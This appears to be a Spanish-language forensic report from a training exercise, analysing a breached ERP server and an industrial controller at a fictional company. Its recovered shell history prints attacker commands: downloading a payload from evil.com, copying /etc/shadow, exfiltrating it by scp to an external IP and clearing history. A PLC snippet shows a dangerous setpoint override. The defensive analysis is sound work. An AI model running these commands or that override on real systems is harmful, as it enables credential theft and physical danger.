Análisis Forense Práctico

Auzitegi-Analisi Informatikoa - Zabala Gailetak

Caso ID: ZG-MEM-2026-001
Fecha: 2026-02-10
Analista: Equipo CISO
Sistema Afectado: Servidor Web ERP
Memoria RAM: 8GB

Resumen del Caso

Se detecta actividad sospechosa en el servidor ERP de Zabala Gailetak. El análisis forense se realiza sobre un volcado de memoria RAM de 8GB para identificar malware, conexiones no autorizadas y exfiltración de datos.

Fase 1: Adquisición de Evidencias

1.1 Captura de Memoria Volátil

Herramienta utilizada: **LiME (Linux Memory Extractor)**

```
sudo insmod lime.ko "path=/evidence/web-server-mem.lime format=lime"
```

Resultado:

- Tamaño: 8.4GB
- Hash SHA256: `a1b2c3d4e5f6...`

- Tiempo: 4 minutos 23 segundos

1.2 Cadena de Custodia

Paso	Responsable	Fecha	Acción
1	Técnico A	2026-02-10 14:32	Captura memoria
2	CISO	2026-02-10 14:35	Verificación hash
3	Analista	2026-02-10 15:00	Inicio análisis

Fase 2: Análisis de Memoria con Volatility 3

2.1 Información del Sistema

```
vol -f web-server-mem.lime linux.info
```

Resultados:

- Sistema: Ubuntu 22.04 LTS
- Kernel: 5.15.0-91-generic
- Arquitectura: x64
- Fecha/Hora sistema: 2026-02-10T14:32:15+01:00

2.2 Lista de Procesos

```
vol -f web-server-mem.lime linux.pslist
```

Procesos Identificados:

PID	PPID	Comando	UID	Estado
1	0	systemd	0	Normal
1234	1	nginx	33	Normal
5678	1234	php-fpm	33	Normal
9999	1	[kworker/0:0]	0	Sospechoso
1337	5678	python3	33	**MALICIOSO**

Indicador de Compromiso:

- Proceso `python3` (PID 1337) iniciado desde `php-fpm`
- Timestamp: 2026-02-10 14:28:45

2.3 Conexiones de Red

```
vol -f web-server-mem.lime linux.netstat
```

Conexiones Activas:

Protocolo	Local	Remoto	Estado	PID
TCP	0.0.0.0:80	0.0.0.0:0	LISTEN	1234
TCP	10.10.10.5:22	192.168.1.100:54321	ESTABLISHED	4567
TCP	10.10.10.5:443	185.220.101.45:49152	ESTABLISHED	**1337**

Alerta: Conexión activa a IP externa sospechosa desde proceso malicioso.

2.4 Historial de Comandos (Bash)

```
vol -f web-server-mem.lime linux.bash
```

Comandos Ejecutados (PID 1337):

```
14:29:10  wget https://evil.com/payload.py
14:29:15  chmod +x payload.py
14:29:18  python3 payload.py &
14:30:22  cat /etc/shadow > /tmp/stolen.txt
14:30:45  scp /tmp/stolen.txt attacker@185.220.101.45:/data/
14:31:00  rm /tmp/stolen.txt
14:31:05  history -c
```

Evidencia: Intento de borrar huellas eliminando archivos y limpiando historial.

2.5 Mapa de Memoria (MMAP)

```
vol -f web-server-mem.lime linux.mmap --pid 1337
```

Regiones de Memoria:

Inicio	Fin	Permisos	Archivo
0x55c3a1a0	0x55c3b1a0	r-xp	/usr/bin/python3.10
0x7f8b2000	0x7f8c2000	rw-p	[heap]
0x7f9c1000	0x7f9c9000	r-xp	/tmp/payload.py
0x7fa0000	0x7fb0000	rw-s	/memfd: (deleted)

Técnica Detectada: Fileless Malware (memfd)

2.6 Análisis de Strings

```
strings pid.1337.mem | grep -E "(password|key|secret|api)"
```

Datos Encontrados en Memoria:

- API Key: `sk_live_1234567890abcdef`
- Secret Key: `wJalrXUtnFEMI/K7MDENG...`
- Contraseña: `SuperSecretPassword123!`

Fase 3: Análisis de Tráfico de Red

3.1 Captura PCAP desde Memoria

```
vol -f web-server-mem.lime linux.pcap --output pcap/
```

3.2 Análisis con Wireshark

Flujo TCP Sospechoso:

```
POST /upload HTTP/1.1
Host: evil.com
Content-Type: multipart/form-data

[Datos de /etc/shadow exfiltrados]
```

Estadísticas:

- Datos enviados: 2.3MB
- Duración: 45 segundos
- Destino: 185.220.101.45 (Países Bajos)

Fase 4: Análisis de Disco (Autopsy)

4.1 Adquisición de Disco

```
ewfacquire /dev/sda -t /evidence/web-server-disk.E01
```

4.2 Recuperación de Archivos Borrados

Archivo	Estado	Recuperado	Contenido
payload.py	Borrado	Sí	Malware Python
stolen.txt	Borrado	Sí	/etc/shadow
backdoor.so	Borrado	Sí	Librería LD_PRELOAD

4.3 Timeline del Sistema de Archivos

```
2026-02-10 14:25:33 - SSH login desde 185.220.101.45
2026-02-10 14:28:45 - Proceso python3 iniciado
2026-02-10 14:29:10 - Descarga payload.py
2026-02-10 14:30:22 - Copia /etc/shadow
2026-02-10 14:30:45 - Exfiltración datos
2026-02-10 14:31:05 - Borrado de huellas
2026-02-10 14:32:15 - Volcado de memoria (respuesta)
```

Fase 5: Análisis Forense IoT/SCADA

5.1 Análisis de HMI

```
# Volcado de tarjeta SD del HMI
dd if=/dev/mmcblk0 of=/evidence/hmi-backup.img

# Análisis de logs
grep -i "error\|fail\|intrusion" /mnt/hmi/var/log/scada.log
```

Eventos Encontrados:

```
2026-02-10 14:35:22 [ERROR] Unauthorized access: IP 192.168.50.100
2026-02-10 14:35:45 [WARN] Temperature setpoint changed: 180→250°C
2026-02-10 14:36:01 [ALERT] Emergency stop activated
```

5.2 Análisis de PLC

Programa del PLC Modificado:

```
# Código malicioso encontrado
IF Remote_Override THEN
    Setpoint := 250.0;  # Temperatura peligrosa
END_IF;
```

Conclusiones

Indicadores de Compromiso (IOCs)

Tipo	Valor
IP Maliciosa	185.220.101.45
Dominio	evil.com
Hash MD5 (payload.py)	d41d8cd98f00b204e9800998ecf8427e
PID Malicioso	1337

Línea Temporal del Ataque

1. **14:25:33** - Acceso inicial vía SSH (fuerza bruta)
2. **14:28:45** - Descarga e instalación de backdoor
3. **14:30:22** - Recolección de credenciales
4. **14:30:45** - Exfiltración de datos

5. **14:35:45** - Intento de manipulación de PLC
6. **14:36:01** - Detección y parada de emergencia

Daños Potenciales

- 120 registros de empleados expuestos
- Credenciales de sistema comprometidas
- Riesgo de seguridad física (manipulación PLC)

Recomendaciones

Inmediatas

1. Bloquear IP 185.220.101.45 en firewall
2. Cambiar todas las contraseñas del sistema
3. Revisar logs de acceso de los últimos 30 días

A Corto Plazo

1. Implementar autenticación multifactor (MFA)
2. Segmentación de red estricta (IT/OT)
3. Sistema de detección de intrusiones (IDS)

A Largo Plazo

1. Programa de concienciación en seguridad
2. Auditorías trimestrales de penetración
3. Plan de respuesta a incidentes actualizado

Herramientas Utilizadas

Herramienta	Versión	Propósito
LiME	1.9.1	Adquisición memoria
Volatility	3.0.0	Análisis memoria
Autopsy	4.21.0	Análisis disco
Wireshark	4.2.0	Análisis red
Strings	GNU	Extracción strings
Binwalk	2.3.4	Análisis firmware

Informe preparado conforme a estándares forenses RFC 3227

Cadena de custodia mantenida en todo momento